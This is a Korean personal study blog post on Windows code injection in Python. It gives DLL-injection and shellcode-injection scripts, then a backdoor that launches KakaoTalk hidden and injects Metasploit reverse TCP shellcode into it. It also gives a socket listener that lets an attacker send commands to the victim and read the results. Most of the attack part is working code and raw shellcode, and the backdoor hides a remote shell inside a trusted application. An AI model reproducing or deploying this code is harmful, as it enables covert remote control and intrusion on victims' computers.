Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

코드 인젝션 활용 본문

Study/Python

코드 인젝션 활용

awakerrday 2017. 7. 9. 22:33

DLL 인젝션 기본예제

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
from ctypes import *
 
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)
 
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)
 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" %pid
    sys.exit(0)
 
arg_addr = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)
 
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_addr, dll_path, dll_len, byref(written))
 
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
 
thread_id = c_ulong(0)
 
if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_addr, 0, byref(thread_id)):
    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)
 
print "[*] Remote thread with ID 0x%08x created." %thread_id.value
cs

명령행 인자로 process id, dll 경로를 입력 받고 pid에 해당하는 프로세스의 핸들을 얻은 다음 dll 경로를 

길이만큼 메모리 할당 후 씀. 프로세스 핸들, LoadLibraryA()의 주소(쓰레드 함수 주소), dll 경로가 쓰여진 

메모리의 주소(함수 파라미터), thread_id를 인자로 CreateRemoteThread()를 호출하여 대상 프로세스에 

스레드를 실행시킴 


코드 인젝션 기본예제

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import sys
from ctypes import *
 
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)
 
kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]
 
if not sys.argv[1or not sys.argv[2]:
    print "USAGE: python codeinjector.py <PID to Inject> <PID to Kill>"
    sys.exit(0)
 
shellcode = \
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" \
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" \
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" \
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" \
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" \
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" \
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" \
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" \
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" \
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" \
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" \
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" \
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" \
"\xff\xd5\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49" \
"\x44\x20\x41\x41\x41\x41\x00"
 
padding = 4- (len(pid_to_kill))
replace_value = pid_to_kill + ("\x00" * padding)
replace_string = "\x41" * 4
 
shellcode = shellcode.replace(replace_string, replace_value)
code_size = len(shellcode)
 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" %pid
    sys.exit(0)
 
arg_addr = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_READWRITE)
 
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_addr, shellcode, code_size, byref(written))
 
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_addr, None, 0, byref(thread_id)):
    print "[*] Failed to inject shellcode. Exiting."
    sys.exit(0)
 
print "[*] Remote thread created with a thread ID of: 0x%08x" %thread_id.value
print "[*] Process %s should not be running anymore!" %pid_to_kill
 
cs

인젝션 시킬 프로세스의 id(대상 pid)와 종료시키고 싶은 프로세스 id(죽일 pid)를 명령행 인자로 받고 

셸코드의 pid부분을 죽일 pid로 패딩값과 함께 바꾸고 대상 pid에 해당하는 프로세스의 핸들을 얻은 다음

셸코드 길이만큼 메모리를 할당 후 씀.프로세스 핸들, 셸코드가 쓰여진 메모리의 주소(쓰레드 함수 주소), 

thread_id를 인자로 CreateRemoteThread()를 호출하여 대상 프로세스에게 스레드를 실행시킴 



이러한 인젝션을 이용하여 백도어를 만들어보면?


먼저 메타스플로잇으로 필요한 reverse tcp 셸코드를 생성 



생성한 셸코드를 카카오톡에 코드 인젝션시켜 공격자에게로 reverse tcp 연결 및 cmd shell 실행

inject()에 세번째 인자로 parameter = 0이 아니면 DLL 인젝션도 활용할 수 있음. ex) inject(pid, "dll 경로", 1)

백도어 프로세스를 종료시키는 셸코드는 인코딩하면 pid부분을 알 도리가 없는 거 같은데 procexp로 

확인해보니 따로 종료되는 것도 없는 거 같아서 주석처리..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import sys
from ctypes import *
from my_debugger_defines import *
 
kernel32 = windll.kernel32
 
PAGE_READWRITE     =     0x04
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)
 
path_to_exe = "D:\Program Files (x86)\Kakao\KakaoTalk\KakaoTalk.exe"
 
startupInfo = STARTUPINFO()
processInfo = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
 
startupInfo.dwFlags = 0x1
startupInfo.wShowWindow = 0x0
startupInfo.cb = sizeof(startupInfo)
 
kernel32.CreateProcessA(path_to_exe, 
                        None, 
                        None, 
                        None, 
                        None,
                        creation_flags, 
                        None, 
                        None, 
                        byref(startupInfo),
                        byref(processInfo))
pid = processInfo.dwProcessId
 
def inject(pid, data, parameter=0):
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
    if not h_process:
        print "[*] Couldn't acquire a handle to PID: %s" %pid
        sys.exit(0)
 
    written = c_int(0)
    arg_addr = kernel32.VirtualAllocEx(h_process, 0len(data), 
                                        VIRTUAL_MEM, PAGE_READWRITE)    
    kernel32.WriteProcessMemory(h_process, arg_addr, data, 
                                len(data), byref(written))
 
    thread_id = c_ulong(0)
 
    if not parameter:
        start_addr = arg_addr
    else:
        h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
        start_addr = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
        parameter = arg_addr
 
    if not kernel32.CreateRemoteThread(h_process, None, 
                        0, start_addr, parameter, 0, byref(thread_id)):
        print "[*] Failed to inject the DLL. Exiting."
        sys.exit(0)
 
    print "[*] Injection Completed!"
    return True
 
connect_back_shellcode = \
"\xbd\xed\x90\xc9\x4e\xd9\xe5\xd9\x74\x24\xf4\x5f\x2b\xc9" \
"\xb1\x52\x31\x6f\x12\x83\xef\xfc\x03\x82\x9e\x2b\xbb\xa0" \
"\x77\x29\x44\x58\x88\x4e\xcc\xbd\xb9\x4e\xaa\xb6\xea\x7e" \
"\xb8\x9a\x06\xf4\xec\x0e\x9c\x78\x39\x21\x15\x36\x1f\x0c" \
"\xa6\x6b\x63\x0f\x24\x76\xb0\xef\x15\xb9\xc5\xee\x52\xa4" \
"\x24\xa2\x0b\xa2\x9b\x52\x3f\xfe\x27\xd9\x73\xee\x2f\x3e" \
"\xc3\x11\x01\x91\x5f\x48\x81\x10\xb3\xe0\x88\x0a\xd0\xcd" \
"\x43\xa1\x22\xb9\x55\x63\x7b\x42\xf9\x4a\xb3\xb1\x03\x8b" \
"\x74\x2a\x76\xe5\x86\xd7\x81\x32\xf4\x03\x07\xa0\x5e\xc7" \
"\xbf\x0c\x5e\x04\x59\xc7\x6c\xe1\x2d\x8f\x70\xf4\xe2\xa4" \
"\x8d\x7d\x05\x6a\x04\xc5\x22\xae\x4c\x9d\x4b\xf7\x28\x70" \
"\x73\xe7\x92\x2d\xd1\x6c\x3e\x39\x68\x2f\x57\x8e\x41\xcf" \
"\xa7\x98\xd2\xbc\x95\x07\x49\x2a\x96\xc0\x57\xad\xd9\xfa" \
"\x20\x21\x24\x05\x51\x68\xe3\x51\x01\x02\xc2\xd9\xca\xd2" \
"\xeb\x0f\x5c\x82\x43\xe0\x1d\x72\x24\x50\xf6\x98\xab\x8f" \
"\xe6\xa3\x61\xb8\x8d\x5e\xe2\xbe\xf5\x3c\x16\x28\xf4\xbc" \
"\xc7\xf5\x71\x5a\x8d\x15\xd4\xf5\x3a\x8f\x7d\x8d\xdb\x50" \
"\xa8\xe8\xdc\xdb\x5f\x0d\x92\x2b\x15\x1d\x43\xdc\x60\x7f" \
"\xc2\xe3\x5e\x17\x88\x76\x05\xe7\xc7\x6a\x92\xb0\x80\x5d" \
"\xeb\x54\x3d\xc7\x45\x4a\xbc\x91\xae\xce\x1b\x62\x30\xcf" \
"\xee\xde\x16\xdf\x36\xde\x12\x8b\xe6\x89\xcc\x65\x41\x60" \
"\xbf\xdf\x1b\xdf\x69\xb7\xda\x13\xaa\xc1\xe2\x79\x5c\x2d" \
"\x52\xd4\x19\x52\x5b\xb0\xad\x2b\x81\x20\x51\xe6\x01\x50" \
"\x18\xaa\x20\xf9\xc5\x3f\x71\x64\xf6\xea\xb6\x91\x75\x1e" \
"\x47\x66\x65\x6b\x42\x22\x21\x80\x3e\x3b\xc4\xa6\xed\x3c" \
"\xcd"
 
inject(pid, connect_back_shellcode)
 
'''
our_pid = str( kernel32.GetCurrentProcessId())
process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
padding       = 4 - (len( our_pid ))
replace_value = our_pid + ("\x00" * padding)
replace_string= "\x41" * 4
process_killer_shellcode = process_killer_shellcode.replace(replace_string, replace_value)
# Pop the process killing shellcode in
inject(our_pid, process_killer_shellcode)'''
 
cs



공격자는 희생자가 백도어를 실행시켜 접속할때까지 기다리다가 연결이 수립되면 명령어를 희생자에게 

전송하고 결과를 수신하여 출력 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
import sys
 
HOST = 'IP Address'
PORT = 4444
 
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(5)
 
print "[*] Server bount to %s: %d" %(HOST, PORT)
 
connected = False
 
while 1:
    if not connected:
        (client, address) = server.accept()
        connected = True
 
    print "[*] Accepted Shell Connection"
    buffer = ""
 
    while 1:
        try:
            recv_buffer = client.recv(8096)
            print "[*] Received: %s" %recv_buffer
            
            break
        except:
            break
 
    command = raw_input("Enter Command>")
    client.sendall(command + "\r\n\r\n")
    print "[*] Sent => %s" %command
 

cs



실행결과

공격자 서버 실행중인 상태에서 백도어 실행하면 카카오톡이 실행되고 셸코드가 코드인젝션 되어 공격자에게 

reverse tcp 연결



명령어 입력 및 결과수신 (엔터를 한번 더 쳐야 결과를 출력해서 좀 불편ㅎㅎ)



카카오톡 프로세스 트리에 cmd가 붙어있는 것을 확인할 수 있음 



'Study > Python' 카테고리의 다른 글

Array Enxtended Slices  (0) 2017.07.18
윈도우 DEP 우회  (0) 2017.07.03
PyDbg 접근 위반 핸들  (0) 2017.07.03
윈도우 디버거 구현  (0) 2017.07.03
소켓 랜덤채팅  (0) 2017.07.03
Comments